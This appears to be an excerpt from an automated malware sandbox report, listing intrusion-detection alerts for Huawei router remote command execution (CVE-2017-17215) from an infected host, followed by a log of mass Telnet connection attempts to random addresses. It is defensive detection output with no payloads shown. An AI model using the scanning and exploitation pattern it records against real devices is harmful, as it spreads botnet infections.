                                                192.168.2.15156.230.24.9744146372152829579 11/23/23-05:22:23.027440TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4414637215192.168.2.15156.230.24.97
                                                192.168.2.15156.241.92.22658756372152835222 11/23/23-05:23:00.171429TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5875637215192.168.2.15156.241.92.226
                                                192.168.2.15156.241.78.16442706372152835222 11/23/23-05:23:11.604553TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4270637215192.168.2.15156.241.78.164
                                                192.168.2.15156.254.109.10549448372152835222 11/23/23-05:20:37.055161TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4944837215192.168.2.15156.254.109.105
                                                192.168.2.15156.241.94.15435064372152829579 11/23/23-05:23:04.827024TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3506437215192.168.2.15156.241.94.154
                                                192.168.2.15156.230.24.9744146372152835222 11/23/23-05:22:23.027440TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4414637215192.168.2.15156.230.24.97
                                                192.168.2.15156.235.107.13246484372152835222 11/23/23-05:22:51.051714TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4648437215192.168.2.15156.235.107.132
                                                192.168.2.15156.241.121.9557644372152829579 11/23/23-05:22:53.632486TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5764437215192.168.2.15156.241.121.95
                                                192.168.2.15197.246.207.17140936372152829579 11/23/23-05:21:24.013492TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4093637215192.168.2.15197.246.207.171
                                                192.168.2.15156.241.118.5350400372152835222 11/23/23-05:22:49.300359TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5040037215192.168.2.15156.241.118.53
                                                192.168.2.15156.230.17.4750272372152835222 11/23/23-05:20:54.526320TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5027237215192.168.2.15156.230.17.47
                                                192.168.2.15156.254.109.10549448372152829579 11/23/23-05:20:37.055161TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4944837215192.168.2.15156.254.109.105
                                                192.168.2.15156.253.44.11258754372152835222 11/23/23-05:20:29.723278TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5875437215192.168.2.15156.253.44.112
                                                192.168.2.15156.241.94.15435064372152835222 11/23/23-05:23:04.827024TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3506437215192.168.2.15156.241.94.154
                                                192.168.2.15156.254.110.17243648372152829579 11/23/23-05:20:29.087171TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4364837215192.168.2.15156.254.110.172
                                                192.168.2.15156.230.17.17844962372152835222 11/23/23-05:22:41.210466TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4496237215192.168.2.15156.230.17.178
                                                192.168.2.15156.235.102.12441126372152829579 11/23/23-05:20:25.762673TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4112637215192.168.2.15156.235.102.124
                                                192.168.2.15156.235.104.25449896372152835222 11/23/23-05:23:11.247167TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4989637215192.168.2.15156.235.104.254
                                                192.168.2.15156.241.9.4057200372152835222 11/23/23-05:22:18.386151TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5720037215192.168.2.15156.241.9.40
                                                192.168.2.15156.224.12.6951610372152835222 11/23/23-05:22:18.068838TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5161037215192.168.2.15156.224.12.69
                                                192.168.2.15156.254.87.14355450372152829579 11/23/23-05:23:13.905508TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5545037215192.168.2.15156.254.87.143
                                                192.168.2.1541.232.236.17556422372152835222 11/23/23-05:21:54.145438TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5642237215192.168.2.1541.232.236.175
                                                192.168.2.15156.254.102.14140652372152829579 11/23/23-05:21:46.553452TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4065237215192.168.2.15156.254.102.141
                                                192.168.2.15156.241.108.17833012372152829579 11/23/23-05:20:57.914964TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3301237215192.168.2.15156.241.108.178
                                                192.168.2.15156.254.102.14140652372152835222 11/23/23-05:21:46.553452TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4065237215192.168.2.15156.254.102.141
                                                192.168.2.15156.224.15.7046588372152835222 11/23/23-05:22:54.551086TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4658837215192.168.2.15156.224.15.70
                                                192.168.2.15156.235.109.22433430372152829579 11/23/23-05:21:57.789072TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3343037215192.168.2.15156.235.109.224
                                                192.168.2.15156.254.95.4556026372152829579 11/23/23-05:22:23.028860TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5602637215192.168.2.15156.254.95.45
                                                192.168.2.15156.241.71.21740054372152835222 11/23/23-05:21:05.722411TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4005437215192.168.2.15156.241.71.217
                                                192.168.2.15156.253.38.15541754372152835222 11/23/23-05:20:03.581041TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4175437215192.168.2.15156.253.38.155
                                                192.168.2.15156.254.102.15159944372152835222 11/23/23-05:23:01.876423TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5994437215192.168.2.15156.254.102.151
                                                192.168.2.1541.21.176.19549428372152835222 11/23/23-05:22:56.696003TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4942837215192.168.2.1541.21.176.195
                                                192.168.2.15156.241.112.3850528372152835222 11/23/23-05:23:13.016078TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5052837215192.168.2.15156.241.112.38
                                                192.168.2.15156.230.17.17844962372152829579 11/23/23-05:22:41.210466TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4496237215192.168.2.15156.230.17.178
                                                192.168.2.15156.241.124.6150362372152829579 11/23/23-05:21:23.349246TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5036237215192.168.2.15156.241.124.61
                                                192.168.2.1541.44.221.20041712372152835222 11/23/23-05:22:03.929463TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4171237215192.168.2.1541.44.221.200
                                                192.168.2.15156.224.12.2040420372152829579 11/23/23-05:19:58.469482TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4042037215192.168.2.15156.224.12.20
                                                192.168.2.15156.247.25.21233086372152829579 11/23/23-05:22:41.110159TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3308637215192.168.2.15156.247.25.212
                                                192.168.2.15156.241.108.17833012372152835222 11/23/23-05:20:57.914964TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3301237215192.168.2.15156.241.108.178
                                                192.168.2.15156.253.46.14950660372152835222 11/23/23-05:21:05.641301TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5066037215192.168.2.15156.253.46.149
                                                192.168.2.15156.247.21.22846494372152835222 11/23/23-05:22:48.021668TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4649437215192.168.2.15156.247.21.228
                                                192.168.2.15156.254.91.23245936372152835222 11/23/23-05:22:54.553591TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4593637215192.168.2.15156.254.91.232
                                                192.168.2.15156.224.15.7046588372152829579 11/23/23-05:22:54.551086TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4658837215192.168.2.15156.224.15.70
                                                192.168.2.15156.224.12.2040420372152835222 11/23/23-05:19:58.469482TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4042037215192.168.2.15156.224.12.20
                                                192.168.2.15156.247.25.21233086372152835222 11/23/23-05:22:41.110159TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3308637215192.168.2.15156.247.25.212
                                                192.168.2.15156.47.1.21157126372152829579 11/23/23-05:22:51.226830TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5712637215192.168.2.15156.47.1.211
                                                192.168.2.15197.246.207.17140936372152835222 11/23/23-05:21:24.013492TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4093637215192.168.2.15197.246.207.171
                                                192.168.2.15156.241.100.11041376372152829579 11/23/23-05:22:33.460575TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4137637215192.168.2.15156.241.100.110
                                                192.168.2.15156.254.91.23245936372152829579 11/23/23-05:22:54.553591TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4593637215192.168.2.15156.254.91.232
                                                192.168.2.15156.254.86.12046586372152829579 11/23/23-05:23:02.200252TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4658637215192.168.2.15156.254.86.120
                                                192.168.2.15156.254.76.24642778372152829579 11/23/23-05:21:50.886324TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4277837215192.168.2.15156.254.76.246
                                                192.168.2.1541.35.51.24733564372152829579 11/23/23-05:22:02.407882TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3356437215192.168.2.1541.35.51.247
                                                192.168.2.15156.253.42.17356352372152829579 11/23/23-05:20:54.206006TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5635237215192.168.2.15156.253.42.173
                                                192.168.2.15156.241.124.9242328372152835222 11/23/23-05:23:07.604897TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4232837215192.168.2.15156.241.124.92
                                                192.168.2.15156.241.104.19734202372152835222 11/23/23-05:21:26.671108TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3420237215192.168.2.15156.241.104.197
                                                192.168.2.15156.254.86.12046586372152835222 11/23/23-05:23:02.200252TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4658637215192.168.2.15156.254.86.120
                                                192.168.2.15156.241.100.11041376372152835222 11/23/23-05:22:33.460575TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4137637215192.168.2.15156.241.100.110
                                                192.168.2.15156.253.42.17356352372152835222 11/23/23-05:20:54.206006TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5635237215192.168.2.15156.253.42.173
                                                192.168.2.15156.254.76.24642778372152835222 11/23/23-05:21:50.886324TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4277837215192.168.2.15156.254.76.246
                                                192.168.2.15156.241.13.21938688372152835222 11/23/23-05:22:18.701144TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3868837215192.168.2.15156.241.13.219
                                                192.168.2.15156.47.1.21157126372152835222 11/23/23-05:22:51.226830TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5712637215192.168.2.15156.47.1.211
                                                192.168.2.15156.241.95.12933652372152829579 11/23/23-05:20:18.182250TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3365237215192.168.2.15156.241.95.129
                                                192.168.2.15156.241.86.24741638372152829579 11/23/23-05:21:39.816438TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4163837215192.168.2.15156.241.86.247
                                                192.168.2.15156.226.11.20141222372152835222 11/23/23-05:20:10.102955TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4122237215192.168.2.15156.226.11.201
                                                192.168.2.15156.241.124.6150362372152835222 11/23/23-05:21:23.349246TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5036237215192.168.2.15156.241.124.61
                                                192.168.2.15156.93.225.4054842372152835222 11/23/23-05:20:03.677048TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5484237215192.168.2.15156.93.225.40
                                                192.168.2.15156.241.13.21938688372152829579 11/23/23-05:22:18.701144TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3868837215192.168.2.15156.241.13.219
                                                192.168.2.15156.247.31.7639578372152829579 11/23/23-05:21:26.985352TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3957837215192.168.2.15156.247.31.76
                                                192.168.2.15156.247.21.22846494372152829579 11/23/23-05:22:48.021668TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4649437215192.168.2.15156.247.21.228
                                                192.168.2.1541.35.51.24733564372152835222 11/23/23-05:22:02.407882TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3356437215192.168.2.1541.35.51.247
                                                192.168.2.15156.254.69.9534778372152829579 11/23/23-05:22:15.551794TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3477837215192.168.2.15156.254.69.95
                                                192.168.2.15156.253.38.15541754372152829579 11/23/23-05:20:03.581041TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4175437215192.168.2.15156.253.38.155
                                                192.168.2.15156.241.112.3850528372152829579 11/23/23-05:23:13.016078TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5052837215192.168.2.15156.241.112.38
                                                192.168.2.15156.235.104.25449896372152829579 11/23/23-05:23:11.247167TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4989637215192.168.2.15156.235.104.254
                                                192.168.2.15156.230.27.7335590372152829579 11/23/23-05:22:53.745881TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3559037215192.168.2.15156.230.27.73
                                                192.168.2.15156.77.135.22557756372152835222 11/23/23-05:22:16.652595TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5775637215192.168.2.15156.77.135.225
                                                192.168.2.15156.254.102.15159944372152829579 11/23/23-05:23:01.876423TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5994437215192.168.2.15156.254.102.151
                                                192.168.2.15156.77.130.7837002372152835222 11/23/23-05:20:42.171481TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3700237215192.168.2.15156.77.130.78
                                                192.168.2.15156.93.225.4054842372152829579 11/23/23-05:20:03.677048TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5484237215192.168.2.15156.93.225.40
                                                192.168.2.1541.21.176.19549428372152829579 11/23/23-05:22:56.696003TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4942837215192.168.2.1541.21.176.195
                                                192.168.2.15156.241.127.16534424372152835222 11/23/23-05:21:08.497838TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3442437215192.168.2.15156.241.127.165
                                                192.168.2.15156.241.86.24741638372152835222 11/23/23-05:21:39.816438TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4163837215192.168.2.15156.241.86.247
                                                192.168.2.1541.44.221.20041712372152829579 11/23/23-05:22:03.929463TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4171237215192.168.2.1541.44.221.200
                                                192.168.2.15156.77.135.22557756372152829579 11/23/23-05:22:16.652595TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5775637215192.168.2.15156.77.135.225
                                                192.168.2.15156.254.95.4556026372152835222 11/23/23-05:22:23.028860TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5602637215192.168.2.15156.254.95.45
                                                192.168.2.15156.241.95.12933652372152835222 11/23/23-05:20:18.182250TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3365237215192.168.2.15156.241.95.129
                                                192.168.2.15156.226.11.20141222372152829579 11/23/23-05:20:10.102955TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4122237215192.168.2.15156.226.11.201
                                                192.168.2.15156.241.71.21740054372152829579 11/23/23-05:21:05.722411TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4005437215192.168.2.15156.241.71.217
                                                192.168.2.15156.241.127.16534424372152829579 11/23/23-05:21:08.497838TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3442437215192.168.2.15156.241.127.165
                                                192.168.2.15156.241.91.13452988372152829579 11/23/23-05:20:43.467961TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5298837215192.168.2.15156.241.91.134
                                                192.168.2.15156.235.109.22433430372152835222 11/23/23-05:21:57.789072TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3343037215192.168.2.15156.235.109.224
                                                192.168.2.15156.224.12.6951610372152829579 11/23/23-05:22:18.068838TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5161037215192.168.2.15156.224.12.69
                                                192.168.2.15156.230.27.7335590372152835222 11/23/23-05:22:53.745881TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3559037215192.168.2.15156.230.27.73
                                                192.168.2.15156.253.44.11258754372152829579 11/23/23-05:20:29.723278TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5875437215192.168.2.15156.253.44.112
                                                192.168.2.15156.241.9.4057200372152829579 11/23/23-05:22:18.386151TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5720037215192.168.2.15156.241.9.40
                                                192.168.2.15156.247.31.7639578372152835222 11/23/23-05:21:26.985352TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3957837215192.168.2.15156.247.31.76
                                                192.168.2.15156.235.102.12441126372152835222 11/23/23-05:20:25.762673TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4112637215192.168.2.15156.235.102.124
                                                192.168.2.15156.241.91.13452988372152835222 11/23/23-05:20:43.467961TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5298837215192.168.2.15156.241.91.134
                                                192.168.2.15156.254.69.9534778372152835222 11/23/23-05:22:15.551794TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)3477837215192.168.2.15156.254.69.95
                                                192.168.2.15156.254.87.14355450372152835222 11/23/23-05:23:13.905508TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5545037215192.168.2.15156.254.87.143
                                                192.168.2.15156.241.124.9242328372152829579 11/23/23-05:23:07.604897TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4232837215192.168.2.15156.241.124.92
                                                192.168.2.15156.235.107.13246484372152829579 11/23/23-05:22:51.051714TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4648437215192.168.2.15156.235.107.132
                                                192.168.2.15156.77.130.7837002372152829579 11/23/23-05:20:42.171481TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3700237215192.168.2.15156.77.130.78
                                                192.168.2.15156.241.118.5350400372152829579 11/23/23-05:22:49.300359TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)5040037215192.168.2.15156.241.118.53
                                                192.168.2.15156.253.44.9440552372152829579 11/23/23-05:20:11.767769TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)4055237215192.168.2.15156.253.44.94
                                                192.168.2.15156.241.121.9557644372152835222 11/23/23-05:22:53.632486TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5764437215192.168.2.15156.241.121.95
                                                192.168.2.15156.241.104.19734202372152829579 11/23/23-05:21:26.671108TCP2829579ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)3420237215192.168.2.15156.241.104.197
                                                • Total Packets: 7576
                                                • 37215 undefined
                                                • 8080 undefined
                                                • 45 undefined
                                                • 23 (Telnet)
                                                TimestampSource PortDest PortSource IPDest IP
                                                Nov 23, 2023 05:19:42.105927944 CET6271423192.168.2.1590.44.155.223
                                                Nov 23, 2023 05:19:42.106019020 CET6271423192.168.2.1579.232.91.147
                                                Nov 23, 2023 05:19:42.106019020 CET6271423192.168.2.154.8.203.65
                                                Nov 23, 2023 05:19:42.106021881 CET6271423192.168.2.15161.126.232.208
                                                Nov 23, 2023 05:19:42.106021881 CET6271423192.168.2.15190.126.38.57
                                                Nov 23, 2023 05:19:42.106021881 CET6271423192.168.2.15212.186.143.216
                                                Nov 23, 2023 05:19:42.106034040 CET6271423192.168.2.15123.130.203.55
                                                Nov 23, 2023 05:19:42.106044054 CET6271423192.168.2.1597.133.38.15
                                                Nov 23, 2023 05:19:42.106045008 CET6271423192.168.2.15210.145.110.73
                                                Nov 23, 2023 05:19:42.106044054 CET6271423192.168.2.15217.57.233.72
                                                Nov 23, 2023 05:19:42.106054068 CET6271423192.168.2.15208.42.5.39
                                                Nov 23, 2023 05:19:42.106054068 CET6271423192.168.2.15209.12.243.207
                                                Nov 23, 2023 05:19:42.106054068 CET6271423192.168.2.1538.13.60.218
                                                Nov 23, 2023 05:19:42.106070995 CET6271423192.168.2.1540.228.191.67
                                                Nov 23, 2023 05:19:42.106072903 CET6271423192.168.2.1512.69.136.47
                                                Nov 23, 2023 05:19:42.106072903 CET6271423192.168.2.1559.73.111.188
                                                Nov 23, 2023 05:19:42.106072903 CET6271423192.168.2.15121.80.253.112
                                                Nov 23, 2023 05:19:42.106079102 CET6271423192.168.2.15159.4.20.25
                                                Nov 23, 2023 05:19:42.106089115 CET6271423192.168.2.1553.186.82.254
                                                Nov 23, 2023 05:19:42.106089115 CET6271423192.168.2.1537.90.178.123
                                                Nov 23, 2023 05:19:42.106096983 CET6271423192.168.2.15133.139.126.74
                                                Nov 23, 2023 05:19:42.106096983 CET6271423192.168.2.15221.156.69.191
                                                Nov 23, 2023 05:19:42.106096983 CET6271423192.168.2.15167.55.119.118
                                                Nov 23, 2023 05:19:42.106106043 CET6271423192.168.2.15247.62.47.5
                                                Nov 23, 2023 05:19:42.106127977 CET6271423192.168.2.15211.235.78.54
                                                Nov 23, 2023 05:19:42.106142998 CET6271423192.168.2.1562.174.77.215
                                                Nov 23, 2023 05:19:42.106184006 CET6271423192.168.2.1570.215.137.48
                                                Nov 23, 2023 05:19:42.106190920 CET6271423192.168.2.1567.237.8.14
                                                Nov 23, 2023 05:19:42.106190920 CET6271423192.168.2.15109.193.194.77
                                                Nov 23, 2023 05:19:42.106197119 CET6271423192.168.2.15157.181.32.250
                                                Nov 23, 2023 05:19:42.106197119 CET6271423192.168.2.1560.207.182.115
                                                Nov 23, 2023 05:19:42.106201887 CET6271423192.168.2.15200.206.166.148
                                                Nov 23, 2023 05:19:42.106201887 CET6271423192.168.2.15119.191.88.71
                                                Nov 23, 2023 05:19:42.106201887 CET6271423192.168.2.15159.167.124.113
                                                Nov 23, 2023 05:19:42.106201887 CET6271423192.168.2.15206.203.79.141
                                                Nov 23, 2023 05:19:42.106208086 CET6271423192.168.2.1562.219.244.185
                                                Nov 23, 2023 05:19:42.106215954 CET6271423192.168.2.15168.117.32.215
                                                Nov 23, 2023 05:19:42.106228113 CET6271423192.168.2.15165.78.14.129
                                                Nov 23, 2023 05:19:42.106251001 CET6271423192.168.2.15104.226.164.103
                                                Nov 23, 2023 05:19:42.106292009 CET6271423192.168.2.1548.75.55.87
                                                Nov 23, 2023 05:19:42.106328011 CET6271423192.168.2.1586.83.154.66
                                                Nov 23, 2023 05:19:42.106328964 CET6271423192.168.2.15117.51.235.241
                                                Nov 23, 2023 05:19:42.106340885 CET6271423192.168.2.15217.72.72.9
                                                Nov 23, 2023 05:19:42.106340885 CET6271423192.168.2.15170.229.8.249
                                                Nov 23, 2023 05:19:42.106343031 CET6271423192.168.2.1518.8.1.132
                                                Nov 23, 2023 05:19:42.106343031 CET6271423192.168.2.1588.86.87.160
                                                Nov 23, 2023 05:19:42.106343985 CET6271423192.168.2.1581.1.239.63
                                                Nov 23, 2023 05:19:42.106347084 CET6271423192.168.2.158.126.25.221
                                                Nov 23, 2023 05:19:42.106347084 CET6271423192.168.2.1582.99.39.153
                                                Nov 23, 2023 05:19:42.106347084 CET6271423192.168.2.15115.29.184.66
                                                Nov 23, 2023 05:19:42.106348038 CET6271423192.168.2.15157.247.178.129
                                                Nov 23, 2023 05:19:42.106348038 CET6271423192.168.2.1588.35.19.144
                                                Nov 23, 2023 05:19:42.106350899 CET6271423192.168.2.15181.113.23.88
                                                Nov 23, 2023 05:19:42.106350899 CET6271423192.168.2.15219.101.247.79
                                                Nov 23, 2023 05:19:42.106350899 CET6271423192.168.2.1536.101.71.230
                                                Nov 23, 2023 05:19:42.106350899 CET6271423192.168.2.15248.194.155.14
                                                Nov 23, 2023 05:19:42.106358051 CET6271423192.168.2.15241.78.13.95
                                                Nov 23, 2023 05:19:42.106399059 CET6271423192.168.2.15112.20.55.12
                                                Nov 23, 2023 05:19:42.106405020 CET6271423192.168.2.1544.122.11.238
                                                Nov 23, 2023 05:19:42.106406927 CET6271423192.168.2.1527.128.199.194
                                                Nov 23, 2023 05:19:42.106406927 CET6271423192.168.2.1527.41.221.133
                                                Nov 23, 2023 05:19:42.106408119 CET6271423192.168.2.1546.169.145.63
                                                Nov 23, 2023 05:19:42.106409073 CET6271423192.168.2.1584.149.23.63
                                                Nov 23, 2023 05:19:42.106409073 CET6271423192.168.2.15158.155.101.86
                                                Nov 23, 2023 05:19:42.106409073 CET6271423192.168.2.152.87.221.51
                                                Nov 23, 2023 05:19:42.106409073 CET6271423192.168.2.1524.209.169.114
                                                Nov 23, 2023 05:19:42.106425047 CET6271423192.168.2.15166.248.220.22
                                                Nov 23, 2023 05:19:42.106425047 CET6271423192.168.2.15135.115.39.97
                                                Nov 23, 2023 05:19:42.106440067 CET6271423192.168.2.15130.173.4.131
                                                Nov 23, 2023 05:19:42.106445074 CET6271423192.168.2.1553.111.231.118
                                                Nov 23, 2023 05:19:42.106491089 CET6271423192.168.2.15192.99.183.225
                                                Nov 23, 2023 05:19:42.106491089 CET6271423192.168.2.1534.41.244.150
                                                Nov 23, 2023 05:19:42.106492996 CET6271423192.168.2.15157.215.226.237
                                                Nov 23, 2023 05:19:42.106492996 CET6271423192.168.2.1571.72.89.146
                                                Nov 23, 2023 05:19:42.106503963 CET6271423192.168.2.15104.211.168.76
                                                Nov 23, 2023 05:19:42.106503963 CET6271423192.168.2.15123.135.185.156
                                                Nov 23, 2023 05:19:42.106503963 CET6271423192.168.2.159.250.171.10
                                                Nov 23, 2023 05:19:42.106504917 CET6271423192.168.2.1531.227.199.141
                                                Nov 23, 2023 05:19:42.106512070 CET6271423192.168.2.15119.20.121.100
                                                Nov 23, 2023 05:19:42.106512070 CET6271423192.168.2.15183.31.190.41
                                                Nov 23, 2023 05:19:42.106512070 CET6271423192.168.2.15186.120.137.180
                                                Nov 23, 2023 05:19:42.106512070 CET6271423192.168.2.1596.21.99.217
                                                Nov 23, 2023 05:19:42.106515884 CET6271423192.168.2.15123.9.242.107
                                                Nov 23, 2023 05:19:42.106513023 CET6271423192.168.2.15254.109.103.21
                                                Nov 23, 2023 05:19:42.106517076 CET6271423192.168.2.15153.55.17.86
                                                Nov 23, 2023 05:19:42.106555939 CET6271423192.168.2.15204.160.111.113
                                                Nov 23, 2023 05:19:42.106555939 CET6271423192.168.2.1523.203.148.171
                                                Nov 23, 2023 05:19:42.106555939 CET6271423192.168.2.1570.217.23.67
                                                Nov 23, 2023 05:19:42.106555939 CET6271423192.168.2.15201.2.215.138
                                                Nov 23, 2023 05:19:42.106559038 CET6271423192.168.2.15216.222.96.81
                                                Nov 23, 2023 05:19:42.106569052 CET6271423192.168.2.15168.124.250.81
                                                Nov 23, 2023 05:19:42.106597900 CET6271423192.168.2.15196.231.27.151
                                                Nov 23, 2023 05:19:42.106620073 CET6271423192.168.2.1536.134.235.169
                                                Nov 23, 2023 05:19:42.106620073 CET6271423192.168.2.15203.11.143.164
                                                Nov 23, 2023 05:19:42.106621027 CET6271423192.168.2.1568.192.141.194
                                                Nov 23, 2023 05:19:42.106620073 CET6271423192.168.2.15245.139.209.87
